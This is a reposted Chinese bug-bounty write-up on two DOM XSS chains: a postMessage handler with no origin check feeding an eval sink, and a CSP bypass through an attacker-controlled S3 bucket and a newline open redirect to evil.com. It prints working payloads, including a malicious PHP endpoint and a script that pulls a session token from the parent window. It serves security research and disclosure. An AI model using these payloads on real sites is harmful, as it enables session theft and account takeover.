前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
社区首页 >专栏 >解决 DOM XSS 难题

解决 DOM XSS 难题

作者头像
Khan安全团队
发布2022-02-04 08:21:04
发布2022-02-04 08:21:04
1.9K00
代码可运行
举报
文章被收录于专栏:Khan安全团队Khan安全团队
运行总次数:0
代码可运行

基于 DOM 的跨站点脚本 (XSS) 漏洞是我最喜欢利用的漏洞之一。这有点像解谜;有时你会得到一个角落,比如$.html(),其他时候你必须依靠反复试验。我最近在 bug 赏金计划中遇到了两个有趣postMessage的 DOM XSS 漏洞,这些漏洞让我解谜的痒痒。

注意:一些细节已经匿名。

谜题 A:邮递员问题

postMessage近年来成为 XSS 错误的常见来源。随着开发人员转向客户端 JavaScript 框架,经典的服务器端渲染 XSS 漏洞消失了。相反,前端使用异步通信流(例如postMessageWebSockets)来动态修改内容。

我会留意postMessage使用 Frans Rosénpostmessage-tracker工具的电话。postMessage这是一个 Chrome 扩展程序,当它检测到呼叫并枚举从源到接收器的路径时,它会帮助您提醒您。然而,虽然postMessage电话比比皆是,但大多数往往是误报,需要手动验证。

在浏览 A 公司的网站https://feedback.companyA.com/时,postmessage-tracker通知我来自 iFrame https://abc.cloudfront.net/iframe_chat.html 的一个特别有趣的呼叫:

代码语言:javascript
代码运行次数:0
运行
复制
window.addEventListener("message", function(e) {
...
    } else if (e.data.type =='ChatSettings') {
         if (e.data.iframeChatSettings) {
             window.settingsSync =  e.data.iframeChatSettings;
...

postMessage处理程序检查消息 data( e.data) 是否包含type匹配的值ChatSettings。如果是这样,它设置window.settingsSynce.data.iframeChatSettings。它没有执行任何来源检查——对于漏洞猎手来说总是一个好兆头,因为消息可以从任何攻击者控制的域发送。

window.settingsSync用来做什么的?通过在 Burp 中搜索这个字符串,我发现了https://abc.cloudfront.net/third-party.js:

代码语言:javascript
代码运行次数:0
运行
复制
else if(window.settingsSync.environment == "production"){
  var region = window.settingsSync.region;
  var subdomain = region.split("_")[1]+'-'+region.split("_")[0]
  domain = 'https://'+subdomain+'.settingsSync.com'
}
var url = domain+'/public/ext_data'

request.open('POST', url, true);
request.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
request.onload = function () {
  if (request.status == 200) {
    var data = JSON.parse(this.response);
...
    window.settingsSync = data;
...
    var newScript = 'https://abc.cloudfront.net/module-v'+window.settingsSync.versionNumber+'.js';
    loadScript(document, newScript);

如果window.settingsSync.environment == "production”,window.settingsSync.region将被重新排列subdomain并插入domain = 'https://'+subdomain+'.settingsSync.com. 然后这个 URL 将在 POST 请求中使用。响应将被解析为 JSON 并设置window.settingsSync。接下来,window.settingsSync.versionNumber用于构造一个加载新 JavaScript 文件的 URL var newScript = 'https://abc.cloudfront.net/module-v'+window.settingsSync.versionNumber+'.js'

在典型情况下,页面会加载https://abc.cloudfront.net/module-v2.js:

代码语言:javascript
代码运行次数:0
运行
复制
config = window.settingsSync.config;
…
eval("window.settingsSync.configs."+config)

啊哈!eval是一个简单的接收器,将其字符串参数作为 JavaScript 执行。如果我控制config,我可以执行任意 JavaScript!

但是,我怎么能操纵domain来匹配我的恶意服务器而不是*.settingsSync.com呢?我再次检查了代码:

代码语言:javascript
代码运行次数:0
运行
复制
  var region = window.settingsSync.region;
  var subdomain = region.split("_")[1]+'-'+region.split("_")[0]
  domain = 'https://'+subdomain+'.settingsSync.com'

我注意到,由于清理不足和简单的连接,window.settingsSync.region像这样的值.my.website/malicious.php?_bad会被重新排列成https://bad-.my.website/malicious.php?.settingsSync.com!现在domain指出bad-.my.website,攻击者控制的有效域向 POST 请求提供了恶意负载。

malicious.php在我的服务器上创建了通过捕获来自源目标的响应来发送有效响应。我将选定的名称修改config为我的 XSS 有效负载:

代码语言:javascript
代码运行次数:0
运行
复制
<?php
$origin = $_SERVER['HTTP_ORIGIN'];
header('Access-Control-Allow-Origin: ' . $origin);
header('Access-Control-Allow-Headers: cache-control');
header("Content-Type: application/json; charset=UTF-8");

echo '{
    "versionNumber": "2",
    "config": “a;alert()//“,
    "configs": {
        "a": "a"
    }
    ...
}'
?>

基于此响应,接收器现在将执行:

代码语言:javascript
代码运行次数:0
运行
复制
eval("window.settingsSync.configs.a;alert()//”)

在我自己的域中,我使用 生成了包含易受攻击的 iFrame 的页面var child = window.open("https://feedback.companyA.com/"),然后使用 发送了 PostMessage 有效负载child.frames[1].postMessage(...)。就这样,弹出了警报框!

但是,我仍然需要最后一件。由于 XSS 在 iF​​rame https://abc.cloudfront.net/iframe_chat.html而不是https://feedback.companyA.com/的上下文中执行,因此没有实际影响;它就像在外部域上执行 XSS 一样好。我需要以某种方式利用 iFrame 中的这个 XSS 来访问父窗口https://feedback.companyA.com/。

值得庆幸的是,https://feedback.companyA.com/包含了另一个有趣的postMessage处理程序:

代码语言:javascript
代码运行次数:0
运行
复制
    }, d = document.getElementById("iframeChat"), window.addEventListener("message", function(m) {
        var e;
        "https://abc.cloudfront.net" === m.origin && ("IframeLoaded" == m.data.type && d.contentWindow.postMessage({
            type: "credentialConfig",
            credentialConfig: credentialConfig
        }, "*"))

https://feedback.companyA.com/创建了一个PostMessage侦听器,将消息来源验证为https://abc.cloudfront.net。如果消息数据类型是IframeLoaded,它会发送一个带有credentialConfig数据的 PostMessage。

credentialConfig包括一个会话令牌:

代码语言:javascript
代码运行次数:0
运行
复制
{
    "region": "en-uk",
    "environment": "production",
    "userId": "<USERID>",
    "sessionToken": "Bearer <SESSIONTOKEN>"
}

因此,通过发送 PostMessage 以触发https://abc.cloudfront.net/iframe_chat.html上的 XSS,XSS 将运行从https://abc.cloudfront.net/iframe_chat.html发送另一个 PostMessage 的任意 JavaScript到https://feedback.companyA.com/会泄露会话令牌。

基于此,我修改了XSS payload:

代码语言:javascript
代码运行次数:0
运行
复制
{
    "versionNumber": "2",
    "config": "a;window.addEventListener(`message`, (event) => {alert(JSON.stringify(event.data))});parent.postMessage({type:`IframeLoaded`},`*`)//",
    "configs": {
        "a": "a
    }
}

XSS 在https://feedback.companyA.com/上从父 iFrame 接收会话数据,并将窃取的数据泄露sessionToken到攻击者控制的服务器(我只是alert在这里使用)。

谜题 B:使用 Newline Open Redirect 绕过 CSP

在探索 B 公司的 OAuth 流程时,我注意到它的 OAuth 授权页面有些奇怪。通常,OAuth 授权页面会显示某种确认按钮来链接帐户。例如,这是登录 GitLab 的 Twitter 的 OAuth 授权页面:

公司 B 的页面使用的 URL 格式如下:https://accept.companyb/confirmation?domain=oauth.companyb.com&state=<STATE>&client=<CLIENT ID>。一旦页面被加载,它会动态地发送一个 GET 请求到oauth.companyb.com/oauth_data?clientID=<CLIENT ID>. 这返回了一些数据来填充页面的内容:

代码语言:javascript
代码运行次数:0
运行
复制
{
    "app": {
        "logoUrl": <PAGE LOGO URL>,
        "name": <NAME>,
        "link": <URL> ,
        "introduction": "A cool app!"
        ...
    }
}

通过处理这些响应数据,我意识到它introduction被注入到页面中而没有进行任何清理。如果我可以控制 GET 请求的目的地以及随后的响应,则有可能导致 XSS。

幸运的是,该domain参数似乎允许我控制 GET 请求的域。但是,当我将其设置为我自己的域时,请求无法执行并引发内容安全策略 (CSP) 错误。我快速查看了页面的CSP:

代码语言:javascript
代码运行次数:0
运行
复制
Content-Security-Policy: default-src 'self' 'unsafe-inline' *.companyb.com *.amazonaws.com; script-src 'self' https: *.companyb.com; object-src 'none';

发出动态 HTTP 请求时,它们遵循connect-srcCSP 规则。在这种情况下,该default-src规则意味着只允许请求*.companyb.com*.amazonaws.com被允许。不幸的是,这给公司*.amazonaws.com造成了一个大漏洞:由于 AWS S3 文件托管在 上*.s3.amazonaws.com,我仍然可以向攻击者控制的存储桶发送请求!此外,CORS 不会成为问题,因为 AWS 允许用户设置存储桶的 CORS 策略。

我很快在https://myevilbucket.s3.amazonaws.com/oauth_data.jsontext上托管了一个 JSON 文件,然后浏览到. 该页面在 成功请求了我的文件,然后……什么都没有。<script>alert()</script>https://accept.companyb/confirmation?domain=myevilbucket.s3.amazonaws.com%2f payload.json%3F&state=<STATE>&client=<CLIENT ID>https://myevilbucket.s3.amazonaws.com/payload.json?/oauth_data?clientID=<CLIENT ID>

另一个问题仍然存在:CSPscript-src仅允许用于 HTTPSself*.companyb.com用于 HTTPS。t.companyb.com幸运的是,我为这种情况保存了一个开放的重定向。易受攻击的端点将重定向到url参数的值,但验证参数是否以companyb.com. 但是,它允许在子域部分使用换行符%0A,这将被浏览器截断,从而http://t.companyb.com/redirect?url=http%3A%2F%2Fevil.com%0A.companyb.com%2F实际上重定向到https://evil.com/%0A.companyb.com/。

通过使用这个绕过来创建一个开放重定向,我将最终的 XSS 有效负载保存<NEWLINE CHARACTER>.companyb.com在我的 Web 服务器的文档根目录中。然后我注入了一个脚本标签,src指向通过 CSP 但最终重定向到最终有效负载的开放重定向。

结论

由于我的 XSS 报告的复杂性和绕过强化执行环境的能力,两家公司都为我的 XSS 报告提供了奖金。我希望通过记录我的思考过程,您还可以获得一些额外的技巧来解决 DOM XSS 难题。

本文系转载,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文系转载前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 谜题 A:邮递员问题
  • 谜题 B:使用 Newline Open Redirect 绕过 CSP
  • 结论
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档